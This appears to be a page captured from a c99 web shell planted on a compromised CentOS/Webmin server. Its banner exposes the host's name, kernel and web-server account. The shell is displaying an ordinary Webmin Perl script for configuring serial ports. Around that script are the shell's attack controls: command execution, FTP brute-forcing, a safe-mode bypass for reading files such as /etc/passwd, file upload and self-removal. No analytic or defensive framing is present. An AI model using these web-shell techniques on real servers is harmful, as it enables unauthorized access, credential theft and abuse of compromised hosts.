!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/pap/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_mgetty.cgi (2.51 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# save_mgetty.cgi
# Save, create or delete a serial port configuration

require './pap-lib.pl';
$access{'mgetty'} || &error($text{'mgetty_ecannot'});
&foreign_require("inittab", "inittab-lib.pl");
&ReadParse();
@inittab = &inittab::parse_inittab();
@mgt = &mgetty_inittabs();
if (!$in{'new'}) {
    ($init) = grep { $_->{'id'} eq $in{'id'} } @mgt;
    $oldtty = $init->{'tty'};
    $oldtty = "/dev/$oldtty" if ($oldtty !~ /^\//);
    }

&lock_file($inittab::config{'inittab_file'});
if ($in{'delete'}) {
    # Just deleting an inittab entry
    &inittab::delete_inittab($init);
    }
else {
    # Validate and store inputs
    &error_setup($text{'mgetty_err'});
    $cmd = $in{'new'} ? &has_command($config{'mgetty'}) : $init->{'mgetty'};
    $cmd .= " -r" if ($in{'direct'});
    if (!$in{'speed_def'}) {
        $in{'speed'} =~ /^\d+$/ || &error($text{'mgetty_espeed'});
        $cmd .= " -s $in{'speed'}";
        }
    $in{'rings'} =~ /^\d+$/ || &error($text{'mgetty_eanswer'});
    $cmd .= " -n $in{'rings'}" if ($in{'rings'} != 1);
    if ($in{'mode'} == 1) {
        $cmd .= " -D";
        }
    elsif ($in{'mode'} == 2) {
        $cmd .= " -F";
        }
    if (!$in{'back_def'}) {
        $in{'back'} =~ /^\d+$/ || &error($text{'mgetty_eback'});
        $cmd .= " -R $in{'back'}";
        }
    if (!$in{'prompt_def'}) {
        $cmd .= $in{'prompt'} =~ /"/ ? " -p '$in{'prompt'}'"
                         : " -p \"$in{'prompt'}\"";
        }
    if ($init->{'args'}) {
        $init->{'args'} =~ s/^\s+//;
        $cmd .= " $init->{'args'}";
        }
    if ($in{'tty'}) {
        $cmd .= " $in{'tty'}";
        $init->{'tty'} = $in{'tty'};
        }
    else {
        -r $in{'other'} || &error($text{'mgetty_etty'});
        $cmd .= " $in{'other'}";
        $init->{'tty'} = $in{'other'};
        }
    $newtty = $init->{'tty'};
    $newtty = "/dev/$newtty" if ($newtty !~ /^\//);
    if ($in{'new'} || $newtty ne $oldtty) {
        # Check for tty clash
        foreach $m (&mgetty_inittabs()) {
            local $mtty = $m->{'tty'};
            $mtty = "/dev/$mtty" if ($mtty !~ /^\//);
            &error(&text('mgetty_eclash', "<tt>$mtty</tt>"))
                if ($mtty eq $newtty);
            }
        }
    $cmd .= " $init->{'ttydefs'}" if ($init->{'ttydefs'});
    $init->{'process'} = $cmd;
    
    if ($in{'new'}) {
        $maxid = 1;
        foreach $i (@inittab) {
            $maxid = $i->{'id'} if ($i->{'id'} =~ /^\d+$/ &&
                        $i->{'id'} > $maxid);
            }
        $init->{'id'} = $maxid + 1;
        $init->{'levels'} = [ 2, 3, 4, 5 ];
        $init->{'action'} = "respawn";
        &inittab::create_inittab($init);
        }
    else {
        &inittab::modify_inittab($init);
        }
    }
&unlock_file($inittab::config{'inittab_file'});
&webmin_log($in{'delete'} ? "delete" : $in{'new'} ? "create" : "modify",
        "mgetty", $init->{'tty'}, $init);

&redirect("list_mgetty.cgi");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--